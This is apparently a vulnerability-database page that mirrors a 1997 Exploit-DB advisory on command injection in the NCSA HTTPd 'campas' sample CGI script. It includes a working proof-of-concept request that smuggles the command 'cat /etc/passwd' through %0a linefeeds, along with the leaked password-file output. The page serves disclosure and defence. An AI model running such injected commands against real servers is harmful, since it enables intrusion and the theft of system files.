Lucene search
+L

NCSA httpd-campas 1.2 - sample script

🗓️ 15 Jul 1997 00:00:00Reported by Francisco TorresType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Sample CGI script in NCSA HTTPd 1.2 is vulnerable to command execution via user input.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
NCSA Campas cgi-bin Arbitrary Command Execution
22 Jun 199900:00
nessus
cve
CVE
CVE-1999-0146
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0146
29 Sep 199904:00
cvelist
euvd
EUVD
EUVD-1999-0146
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-0146
15 Jul 199704:00
nvd
redhatcve
RedhatCVE
CVE-1999-0146
21 May 202518:22
redhatcve
source: https://www.securityfocus.com/bid/1975/info

Campas is a sample CGI script shipped with some older versions of NCSA HTTPd, an obsolete web server package. The versions that included the script could not be determined as the server is no longer maintained, but version 1.2 of the script itself is known to be vulnerable. The script fails to properly filter user supplied variables, and as a result can be used to execute commands on the host with the privileges of the web server. Commands can be passed as a variable to the script, separated by %0a (linefeed) characters. See exploit for example. Successful exploitation of this vulnerability could be used to deface the web site, read any files the server process has access to, get directory listings, and execute anything else the web server has access to.

> telnet target 80
[...]
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
<PRE>
root:x:0:1:Super-User:/export/home/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:/bin/false
[...]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.15053
27